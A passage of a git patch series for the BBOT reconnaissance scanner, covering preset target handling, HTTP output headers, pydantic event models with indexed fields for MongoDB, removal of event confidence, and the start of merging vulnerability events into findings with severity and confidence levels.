] ) From e48005bcdbbf09aad4bd9424f5f5dff902e297e7 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 8 May 2025 20:50:35 -0400 Subject: [PATCH 134/912] fix tests --- .../test_step_2/module_tests/test_module_excavate.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 7589a9d0b9..139a779218 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1409,9 +1409,16 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests({"uri": "/"}, {"response_data": self.bad_url_data}) def check(self, module_test, events): + import gzip + debug_log_content = open(module_test.scan.home / "debug.log").read() + for archived_debug_log in module_test.scan.home.glob("debug.log.*.gz"): + gzipped_content = open(archived_debug_log).read() + ungzipped_content = gzip.decompress(gzipped_content).decode("utf-8") + debug_log_content += ungzipped_content + # make sure our logging is working - assert "Setting scan status to STARTING" in debug_log_content + assert "Setting scan status to RUNNING" in debug_log_content # make sure we don't have any URL validation errors assert "Error Parsing reconstructed URL" not in debug_log_content assert "Error sanitizing event data" not in debug_log_content From 00389b5945a3732b2b93f4008c89ac58e357c324 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 10 May 2025 01:24:03 -0400 Subject: [PATCH 135/912] fix bug --- bbot/scanner/preset/preset.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 341d808f8f..06866d9801 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -76,8 +76,8 @@ class Preset(metaclass=BasePreset): Based on the state of the preset, you can print a warning message, abort the scan, enable/disable modules, etc.. Attributes: - target (Target): Target(s) of scan. - whitelist (Target): Scan whitelist (by default this is the same as `target`). + targets (Target): Target(s) of scan. + whitelist (Target): Scan whitelist (by default this is the same as `targets`). blacklist (Target): Scan blacklist (this takes ultimate precedence). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. output_dir (pathlib.Path): Output directory for scan. @@ -290,7 +290,7 @@ def target(self): @property def seeds(self): - if self._seeds is None: + if self._target is None: raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self.target.seeds @@ -658,7 +658,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ new_preset = cls( - *preset_dict.get("target", []), + *preset_dict.get("targets", []), whitelist=preset_dict.get("whitelist"), blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), From 69c5fe563416fe1b5948dc65a5407800319b5fb9 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 10 May 2025 01:40:42 -0400 Subject: [PATCH 136/912] scope test --- bbot/scanner/preset/preset.py | 14 ++++++++------ bbot/test/test_step_1/test_presets.py | 16 ++++++++++++++++ 2 files changed, 24 insertions(+), 6 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 06866d9801..3d317d73dc 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -76,8 +76,8 @@ class Preset(metaclass=BasePreset): Based on the state of the preset, you can print a warning message, abort the scan, enable/disable modules, etc.. Attributes: - targets (Target): Target(s) of scan. - whitelist (Target): Scan whitelist (by default this is the same as `targets`). + target (Target): Target(s) of scan. + whitelist (Target): Scan whitelist (by default this is the same as `target`). blacklist (Target): Scan blacklist (this takes ultimate precedence). helpers (ConfigAwareHelper): Helper containing various reusable functions, regexes, etc. output_dir (pathlib.Path): Output directory for scan. @@ -115,7 +115,7 @@ class Preset(metaclass=BasePreset): def __init__( self, - *targets, + *target, whitelist=None, blacklist=None, modules=None, @@ -142,7 +142,7 @@ def __init__( Initializes the Preset class. Args: - *targets (str): Target(s) to scan. Types supported: hostnames, IPs, CIDRs, emails, open ports. + *target (str): Target(s) to scan. Types supported: hostnames, IPs, CIDRs, emails, open ports. whitelist (list, optional): Whitelisted target(s) to scan. Defaults to the same as `targets`. blacklist (list, optional): Blacklisted target(s). Takes ultimate precedence. Defaults to empty. modules (list[str], optional): List of scan modules to enable for the scan. Defaults to empty list. @@ -262,7 +262,7 @@ def __init__( # target / whitelist / blacklist # these are temporary receptacles until they all get .baked() together - self._seeds = set(targets if targets else []) + self._seeds = set(target if target else []) self._whitelist = set(whitelist) if whitelist else whitelist self._blacklist = set(blacklist if blacklist else []) @@ -404,6 +404,8 @@ def bake(self, scan=None): """ Return a "baked" copy of this preset, ready for use by a BBOT scan. + Presets can be merged and modified before baking, but once baked, they are immutable. + Baking a preset finalizes it by populating `preset.modules` based on flags, performing final validations, and substituting environment variables in preloaded modules. It also evaluates custom `conditions` as specified in the preset. @@ -658,7 +660,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ new_preset = cls( - *preset_dict.get("targets", []), + *preset_dict.get("target", []), whitelist=preset_dict.get("whitelist"), blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 5dc3b8d834..be74276465 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -601,6 +601,22 @@ async def handle_event(self, event): shutil.rmtree(custom_module_dir) +def test_preset_scope_round_trip(): + preset_dict = { + "target": ["127.0.0.1"], + "whitelist": ["127.0.0.2"], + "blacklist": ["127.0.0.3"], + "config": {"scope": {"strict": True}}, + } + preset = Preset.from_dict(preset_dict) + baked = preset.bake() + assert list(baked.seeds) == ["127.0.0.1"] + assert list(baked.whitelist) == ["127.0.0.2"] + assert list(baked.blacklist) == ["127.0.0.3"] + assert baked.config.scope.strict is True + assert baked.to_dict(include_target=True) == preset_dict + + @pytest.mark.asyncio async def test_preset_module_loader(): custom_module_dir = bbot_test_dir / "custom_module_dir" From 1c62084827e348fae091b4b945b1c33658a34d31 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 10 May 2025 11:55:47 -0400 Subject: [PATCH 137/912] tolerate 'target' and 'targets' --- bbot/scanner/preset/preset.py | 5 ++++- bbot/test/test_step_1/test_presets.py | 20 ++++++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 3d317d73dc..0836123e4d 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -659,8 +659,11 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ + # tolerate both "target" and "targets", since this is a common oopsie + targets = preset_dict.get("target", []) + targets += preset_dict.get("targets", []) new_preset = cls( - *preset_dict.get("target", []), + *targets, whitelist=preset_dict.get("whitelist"), blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index be74276465..8fb5b75858 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -617,6 +617,26 @@ def test_preset_scope_round_trip(): assert baked.to_dict(include_target=True) == preset_dict +def test_preset_target_tolerance(): + # tolerate both "target" and "targets", since this is a common oopsie + preset_dict = { + "target": ["127.0.0.1"], + "targets": ["127.0.0.2"], + } + preset = Preset.from_dict(preset_dict) + baked = preset.bake() + assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} + + preset = Preset.from_yaml_string(""" +target: + - 127.0.0.1 +targets: + - 127.0.0.2 +""") + baked = preset.bake() + assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} + + @pytest.mark.asyncio async def test_preset_module_loader(): custom_module_dir = bbot_test_dir / "custom_module_dir" From ea1d1b811debe0e55682b06ebe4db65ff59fa63b Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 27 May 2025 08:40:01 -0400 Subject: [PATCH 138/912] http headers --- bbot/modules/output/http.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 0af65a87d2..3de8939c71 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -15,6 +15,7 @@ class HTTP(BaseOutputModule): "bearer": "", "username": "", "password": "", + "headers": {}, "timeout": 10, } options_desc = { @@ -23,6 +24,7 @@ class HTTP(BaseOutputModule): "bearer": "Authorization Bearer token", "username": "Username (basic auth)", "password": "Password (basic auth)", + "headers": "Additional headers to send with the request", "timeout": "HTTP timeout", } @@ -30,7 +32,12 @@ async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) +<<<<<<< Updated upstream self.headers = {} +======= + self.siem_friendly = self.config.get("siem_friendly", False) + self.headers = self.config.get("headers", {}) +>>>>>>> Stashed changes bearer = self.config.get("bearer", "") if bearer: self.headers["Authorization"] = f"Bearer {bearer}" From 17a0828be74b951289db04230908d786c33e2864 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 27 May 2025 08:52:19 -0400 Subject: [PATCH 139/912] http headers --- bbot/modules/output/http.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 3de8939c71..3b61556cb6 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -32,12 +32,7 @@ async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) -<<<<<<< Updated upstream - self.headers = {} -======= - self.siem_friendly = self.config.get("siem_friendly", False) self.headers = self.config.get("headers", {}) ->>>>>>> Stashed changes bearer = self.config.get("bearer", "") if bearer: self.headers["Authorization"] = f"Bearer {bearer}" From e5c4eecb45c22a02646faf781ccd857eca7536ad Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 2 Jun 2025 14:09:15 -0400 Subject: [PATCH 140/912] small updates --- bbot/models/pydantic.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 4ec7a3dc65..abe8a68477 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -11,11 +11,6 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def __init__(self, **data): - super().__init__(**data) - if getattr(self, "host", ""): - self.reverse_host = self.host[::-1] - def to_json(self, **kwargs): return json.dumps(self.model_dump(), sort_keys=True, **kwargs) From 09eb58ac74fb3d09209585eb13c54c707a84033f Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 2 Jun 2025 16:10:10 -0400 Subject: [PATCH 141/912] fix http tests --- bbot/models/pydantic.py | 14 ++++++++++---- bbot/modules/output/http.py | 4 +++- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index abe8a68477..a644c254c8 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,7 +1,7 @@ import json import logging from typing import Optional, List, Annotated -from pydantic import BaseModel, ConfigDict, Field +from pydantic import BaseModel, ConfigDict, Field, computed_field from bbot.models.helpers import utc_now_timestamp @@ -65,9 +65,6 @@ class Event(BBOTBaseModel): host: Annotated[Optional[str], "indexed"] = None port: Optional[int] = None netloc: Optional[str] = None - # we store the host in reverse to allow for instant subdomain queries - # this works because indexes are left-anchored, but we need to search starting from the right side - reverse_host: Annotated[Optional[str], "indexed"] = "" resolved_hosts: Optional[List] = None dns_children: Optional[dict] = None web_spider_distance: int = 10 @@ -93,6 +90,15 @@ def get_data(self): def __hash__(self): return hash(self.id) + @computed_field + @property + def reverse_host(self) -> Annotated[str, "indexed"]: + """ + We store the host in reverse to allow for instant subdomain queries + This works because indexes are left-anchored, but we need to search starting from the right side + """ + return self.host[::-1] + ### SCAN ### diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 3b61556cb6..28fa917fc7 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,3 +1,5 @@ +from omegaconf import OmegaConf + from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -32,7 +34,7 @@ async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.headers = self.config.get("headers", {}) + self.headers = OmegaConf.to_object(self.config.get("headers", OmegaConf.create())) bearer = self.config.get("bearer", "") if bearer: self.headers["Authorization"] = f"Bearer {bearer}" From 0af5e285e579c815345ffce74246feccbe26b023 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 2 Jun 2025 21:27:08 -0400 Subject: [PATCH 142/912] event pydantic updates --- bbot/models/pydantic.py | 28 +++++++++++++++---- bbot/modules/output/mongo.py | 14 ++++++---- bbot/test/test_step_1/test_db_models.py | 2 +- .../module_tests/test_module_elastic.py | 6 ++-- .../module_tests/test_module_mongo.py | 8 +++--- 5 files changed, 40 insertions(+), 18 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index a644c254c8..68e71d493e 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,7 +1,7 @@ import json import logging -from typing import Optional, List, Annotated from pydantic import BaseModel, ConfigDict, Field, computed_field +from typing import Optional, List, Annotated, get_origin, get_args from bbot.models.helpers import utc_now_timestamp @@ -21,8 +21,24 @@ def __eq__(self, other): return hash(self) == hash(other) @classmethod - def _indexed_fields(cls): - return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) + def indexed_fields(cls): + indexed_fields = {} + + # Handle regular fields + for fieldname, field in cls.model_fields.items(): + if any(isinstance(m, str) and m.startswith("indexed") for m in field.metadata): + indexed_fields[fieldname] = field.metadata + + # Handle computed fields + for fieldname, field in cls.model_computed_fields.items(): + return_type = field.return_type + if get_origin(return_type) is Annotated: + type_args = get_args(return_type) + metadata = list(type_args[1:]) # Skip the first arg (the actual type) + if any(isinstance(m, str) and m.startswith("indexed") for m in metadata): + indexed_fields[fieldname] = metadata + + return indexed_fields # we keep these because they were a lot of work to make and maybe someday they'll be useful again @@ -92,12 +108,14 @@ def __hash__(self): @computed_field @property - def reverse_host(self) -> Annotated[str, "indexed"]: + def reverse_host(self) -> Annotated[Optional[str], "indexed"]: """ We store the host in reverse to allow for instant subdomain queries This works because indexes are left-anchored, but we need to search starting from the right side """ - return self.host[::-1] + if self.host: + return self.host[::-1] + return None ### SCAN ### diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 118ca82378..842f1d72fc 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -5,6 +5,9 @@ class Mongo(BaseOutputModule): + """ + docker run --rm -p 27017:27017 mongo + """ watched_events = ["*"] meta = { "description": "Output scan data to a MongoDB database", @@ -48,11 +51,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field_name, field in Event.model_fields.items(): - if "indexed" in field.metadata: - unique = "unique" in field.metadata - await self.events_collection.create_index([(field_name, 1)], unique=unique) - self.verbose(f"Index created for field: {field_name} (unique={unique})") + for fieldname, metadata in Event.indexed_fields().items(): + if "indexed" in metadata: + unique = "unique" in metadata + await self.events_collection.create_index([(fieldname, 1)], unique=unique) + self.verbose(f"Index created for field: {fieldname} (unique={unique})") return True @@ -65,6 +68,7 @@ async def handle_event(self, event): break except Exception as e: self.warning(f"Error inserting event into MongoDB: {e}, retrying...") + self.trace() await self.helpers.sleep(1) if event.type == "SCAN": diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 0e175f3418..d453fa81e1 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -18,7 +18,7 @@ def test_pydantic_models(events, bbot_scanner): assert utc_now2.timestamp() == utc_now.timestamp() test_event = Event(**events.ipv4.json()) - assert sorted(test_event._indexed_fields()) == [ + assert sorted(test_event.indexed_fields()) == [ "data", "host", "id", diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index b3af6e694a..9846f02246 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -103,9 +103,9 @@ async def check(self, module_test, events): # Events don't match exactly because the elastic ones have reverse_host and inserted_at assert events_json != db_events_pydantic for db_event in db_events_pydantic: - db_event.pop("reverse_host") - db_event.pop("inserted_at") - db_event.pop("archived") + db_event.pop("reverse_host", None) + db_event.pop("inserted_at", None) + db_event.pop("archived", None) # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 978d79c4b3..25c317e57c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -76,7 +76,7 @@ async def check(self, module_test, events): # make sure the collection has all the right indexes cursor = events_collection.list_indexes() indexes = await cursor.to_list(length=None) - for field in Event._indexed_fields(): + for field in Event.indexed_fields(): assert any(field in index["key"] for index in indexes), f"Index for {field} not found" ### EVENTS ### @@ -116,9 +116,9 @@ async def check(self, module_test, events): # Events don't match exactly because the mongo ones have reverse_host and inserted_at assert events_json != db_events_pydantic for db_event in db_events_pydantic: - db_event.pop("reverse_host") - db_event.pop("inserted_at") - db_event.pop("archived") + db_event.pop("reverse_host", None) + db_event.pop("inserted_at", None) + db_event.pop("archived", None) # They should match after removing reverse_host assert events_json == db_events_pydantic, "Events do not match" From 6a36986bfdc61054ca594ba837ee466889f4e037 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 2 Jun 2025 21:27:17 -0400 Subject: [PATCH 143/912] ruffed --- bbot/modules/output/mongo.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 842f1d72fc..f90c4aad53 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -8,6 +8,7 @@ class Mongo(BaseOutputModule): """ docker run --rm -p 27017:27017 mongo """ + watched_events = ["*"] meta = { "description": "Output scan data to a MongoDB database", From 51d9153006c6394a56fd5beedadbc94d0ed151bd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 19 Aug 2025 15:41:28 -0400 Subject: [PATCH 144/912] nuke confidence --- bbot/core/event/base.py | 32 +------------------------ bbot/test/test_step_1/test_events.py | 35 ---------------------------- 2 files changed, 1 insertion(+), 66 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 46102d6aef..de1f1882d9 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -150,7 +150,6 @@ class BaseEvent: "_discovery_context_regex", "_stats_recorded", "_internal", - "_confidence", "_dummy", "_module", # DNS-related attributes @@ -179,7 +178,6 @@ def __init__( module=None, scan=None, tags=None, - confidence=100, timestamp=None, _dummy=False, _internal=None, @@ -197,7 +195,6 @@ def __init__( module (str, optional): Module that discovered the event. Defaults to None. scan (Scan, optional): BBOT Scan object. Required unless _dummy is True. Defaults to None. tags (list of str, optional): Descriptive tags for the event. Defaults to None. - confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100. timestamp (datetime, optional): Time of event discovery. Defaults to current UTC time. _dummy (bool, optional): If True, disables certain data validations. Defaults to False. _internal (Any, optional): If specified, makes the event internal. Defaults to None. @@ -245,7 +242,6 @@ def __init__( except AttributeError: self.timestamp = datetime.datetime.utcnow() - self.confidence = int(confidence) self._internal = False # self.scan holds the instantiated scan object (for helpers, etc.) @@ -285,27 +281,6 @@ def __init__( def data(self): return self._data - @property - def confidence(self): - return self._confidence - - @confidence.setter - def confidence(self, confidence): - self._confidence = min(100, max(1, int(confidence))) - - @property - def cumulative_confidence(self): - """ - Considers the confidence of parent events. This is useful for filtering out speculative/unreliable events. - - E.g. an event with a confidence of 50 whose parent is also 50 would have a cumulative confidence of 25. - - A confidence of 100 will reset the cumulative confidence to 100. - """ - if self._confidence == 100 or self.parent is None or self.parent is self: - return self._confidence - return int(self._confidence * self.parent.cumulative_confidence / 100) - @property def resolved_hosts(self): if is_ip(self.host): @@ -1698,11 +1673,10 @@ def __init__(self, *args, **kwargs): from bbot.core.helpers.libmagic import get_magic_info, get_compression try: - extension, mime_type, description, confidence = get_magic_info(self.data["path"]) + extension, mime_type, description = get_magic_info(self.data["path"]) self.data["magic_extension"] = extension self.data["magic_mime_type"] = mime_type self.data["magic_description"] = description - self.data["magic_confidence"] = confidence # detection compression compression = get_compression(mime_type) if compression: @@ -1756,7 +1730,6 @@ def make_event( module=None, scan=None, tags=None, - confidence=100, dummy=False, internal=None, ): @@ -1776,7 +1749,6 @@ def make_event( scan (Scan, optional): BBOT Scan object associated with the event. scans (List[Scan], optional): Multiple BBOT Scan objects, primarily used for unserialization. tags (Union[str, List[str]], optional): Descriptive tags for the event, as a list or a single string. - confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100. dummy (bool, optional): Disables data validations if set to True. Defaults to False. internal (Any, optional): Makes the event internal if set to True. Defaults to None. @@ -1880,7 +1852,6 @@ def make_event( module=module, scan=scan, tags=tags, - confidence=confidence, _dummy=dummy, _internal=internal, ) @@ -1913,7 +1884,6 @@ def event_from_json(j, siem_friendly=False): kwargs = { "event_type": event_type, "tags": j.get("tags", []), - "confidence": j.get("confidence", 100), "context": j.get("discovery_context", None), "dummy": True, } diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 6c9d58003d..4844639594 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -896,41 +896,6 @@ async def test_event_web_spider_distance(bbot_scanner): assert "spider-max" not in url_event_5.tags -def test_event_confidence(): - scan = Scanner() - # default 100 - event1 = scan.make_event("evilcorp.com", "DNS_NAME", dummy=True) - assert event1.confidence == 100 - assert event1.cumulative_confidence == 100 - # custom confidence - event2 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, dummy=True) - assert event2.confidence == 90 - assert event2.cumulative_confidence == 90 - # max 100 - event3 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=999, dummy=True) - assert event3.confidence == 100 - assert event3.cumulative_confidence == 100 - # min 1 - event4 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=0, dummy=True) - assert event4.confidence == 1 - assert event4.cumulative_confidence == 1 - # first event in chain - event5 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, parent=scan.root_event) - assert event5.confidence == 90 - assert event5.cumulative_confidence == 90 - # compounding confidence - event6 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event5) - assert event6.confidence == 50 - assert event6.cumulative_confidence == 45 - event7 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event6) - assert event7.confidence == 50 - assert event7.cumulative_confidence == 22 - # 100 confidence resets - event8 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=100, parent=event7) - assert event8.confidence == 100 - assert event8.cumulative_confidence == 100 - - def test_event_closest_host(): scan = Scanner() # first event has a host From 0408ad425168385ab586a75031c878fbc8f8ce80 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 20 Aug 2025 12:49:49 -0400 Subject: [PATCH 145/912] remove vulnerabilities initial --- bbot/core/event/base.py | 45 +++++++------ bbot/core/helpers/validators.py | 2 +- bbot/modules/ajaxpro.py | 12 ++-- bbot/modules/aspnet_bin_exposure.py | 5 +- bbot/modules/baddns.py | 7 +- bbot/modules/baddns_direct.py | 4 +- bbot/modules/baddns_zone.py | 2 +- bbot/modules/badsecrets.py | 7 +- bbot/modules/bypass403.py | 10 ++- bbot/modules/dnstlsrpt.py | 3 - bbot/modules/dotnetnuke.py | 17 +++-- bbot/modules/generic_ssrf.py | 10 +-- bbot/modules/git.py | 8 ++- bbot/modules/host_header.py | 8 ++- bbot/modules/hunt.py | 7 +- bbot/modules/iis_shortnames.py | 12 +++- bbot/modules/internal/excavate.py | 39 ++++++++--- bbot/modules/lightfuzz/lightfuzz.py | 11 ++-- bbot/modules/lightfuzz/submodules/cmdi.py | 3 +- bbot/modules/lightfuzz/submodules/crypto.py | 11 ++-- bbot/modules/lightfuzz/submodules/path.py | 6 +- bbot/modules/lightfuzz/submodules/serial.py | 6 +- bbot/modules/lightfuzz/submodules/sqli.py | 9 ++- bbot/modules/lightfuzz/submodules/ssti.py | 3 +- bbot/modules/lightfuzz/submodules/xss.py | 3 +- bbot/modules/medusa.py | 30 ++++----- bbot/modules/newsletters.py | 8 ++- bbot/modules/nuclei.py | 38 +++++------ bbot/modules/output/asset_inventory.py | 10 +-- bbot/modules/output/discord.py | 4 +- bbot/modules/output/slack.py | 9 ++- bbot/modules/output/stdout.py | 18 +++-- bbot/modules/output/teams.py | 8 +-- bbot/modules/output/web_report.py | 2 +- bbot/modules/paramminer_cookies.py | 1 - bbot/modules/paramminer_getparams.py | 1 - bbot/modules/reflected_parameters.py | 8 ++- bbot/modules/shodan_idb.py | 9 ++- bbot/modules/smuggler.py | 8 ++- bbot/modules/telerik.py | 31 +++++++-- bbot/modules/templates/bucket.py | 8 ++- bbot/modules/templates/webhook.py | 34 +++++----- bbot/modules/trufflehog.py | 11 ++-- bbot/modules/url_manipulation.py | 8 ++- bbot/modules/wpscan.py | 11 ++-- bbot/test/bbot_fixtures.py | 8 +-- bbot/test/test_step_1/test_events.py | 66 ++++++++++++++----- bbot/test/test_step_1/test_helpers.py | 4 +- .../test_manager_scope_accuracy.py | 10 +-- bbot/test/test_step_1/test_presets.py | 2 +- .../module_tests/test_module_ajaxpro.py | 2 +- .../test_module_aspnet_bin_exposure.py | 8 +-- .../module_tests/test_module_baddns.py | 6 +- .../module_tests/test_module_baddns_zone.py | 4 +- .../module_tests/test_module_badsecrets.py | 19 ++++-- .../module_tests/test_module_discord.py | 4 +- .../module_tests/test_module_dotnetnuke.py | 13 ++-- .../module_tests/test_module_excavate.py | 16 +++-- .../module_tests/test_module_generic_ssrf.py | 20 +++--- .../module_tests/test_module_hunt.py | 20 ++++-- .../test_module_iis_shortnames.py | 8 +-- .../module_tests/test_module_lightfuzz.py | 7 +- .../module_tests/test_module_medusa.py | 4 +- .../module_tests/test_module_nuclei.py | 7 +- .../module_tests/test_module_teams.py | 2 +- .../module_tests/test_module_telerik.py | 2 +- .../module_tests/test_module_trufflehog.py | 7 +- .../module_tests/test_module_wpscan.py | 2 +- docs/modules/custom_yara_rules.md | 17 +++++ 69 files changed, 488 insertions(+), 277 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index de1f1882d9..6d17c1653b 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1517,7 +1517,7 @@ def redirect_location(self): return location -class VULNERABILITY(ClosestHostEvent): +class FINDING(ClosestHostEvent): _always_emit = True _quick_emit = True severity_colors = { @@ -1525,17 +1525,27 @@ class VULNERABILITY(ClosestHostEvent): "HIGH": "🟥", "MEDIUM": "🟧", "LOW": "🟨", - "UNKNOWN": "⬜", + "INFORMATIONAL": "⬜", + } + + confidence_colors = { + "CONFIRMED": "🟣", + "HIGH": "🔴", + "MODERATE": "🟠", + "LOW": "🟡", + "UNKNOWN": "⚪", } def sanitize_data(self, data): - self.add_tag(data["severity"].lower()) + self.add_tag(f"severity-{data['severity'].lower()}") + self.add_tag(f"confidence-{data['confidence'].lower()}") return data class _data_validator(BaseModel): host: Optional[str] = None - severity: str description: str + severity: str + confidence: str url: Optional[str] = None path: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) @@ -1543,23 +1553,17 @@ class _data_validator(BaseModel): _validate_severity = field_validator("severity")(validators.validate_severity) def _pretty_string(self): - return f"[{self.data['severity']}] {self.data['description']}" - - -class FINDING(ClosestHostEvent): - _always_emit = True - _quick_emit = True + severity = self.data["severity"] + confidence = self.data["confidence"] + description = self.data["description"] - class _data_validator(BaseModel): - host: Optional[str] = None - description: str - url: Optional[str] = None - path: Optional[str] = None - _validate_url = field_validator("url")(validators.validate_url) - _validate_host = field_validator("host")(validators.validate_host) + # Add bold formatting for CONFIRMED confidence + if confidence == "CONFIRMED": + confidence_str = f"[\033[1m{confidence}\033[0m]" + else: + confidence_str = f"[{confidence}]" - def _pretty_string(self): - return self.data["description"] + return f"Severity: [{severity}] Confidence: {confidence_str} {description}" class TECHNOLOGY(DictHostEvent): @@ -1673,10 +1677,11 @@ def __init__(self, *args, **kwargs): from bbot.core.helpers.libmagic import get_magic_info, get_compression try: - extension, mime_type, description = get_magic_info(self.data["path"]) + extension, mime_type, description, confidence = get_magic_info(self.data["path"]) self.data["magic_extension"] = extension self.data["magic_mime_type"] = mime_type self.data["magic_description"] = description + self.data["magic_confidence"] = confidence # detection compression compression = get_compression(mime_type) if compression: diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 97a39fae3c..6a361ed433 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -132,7 +132,7 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in ("UNKNOWN", "INFORMATIONAL", "LOW", "MEDIUM", "HIGH", 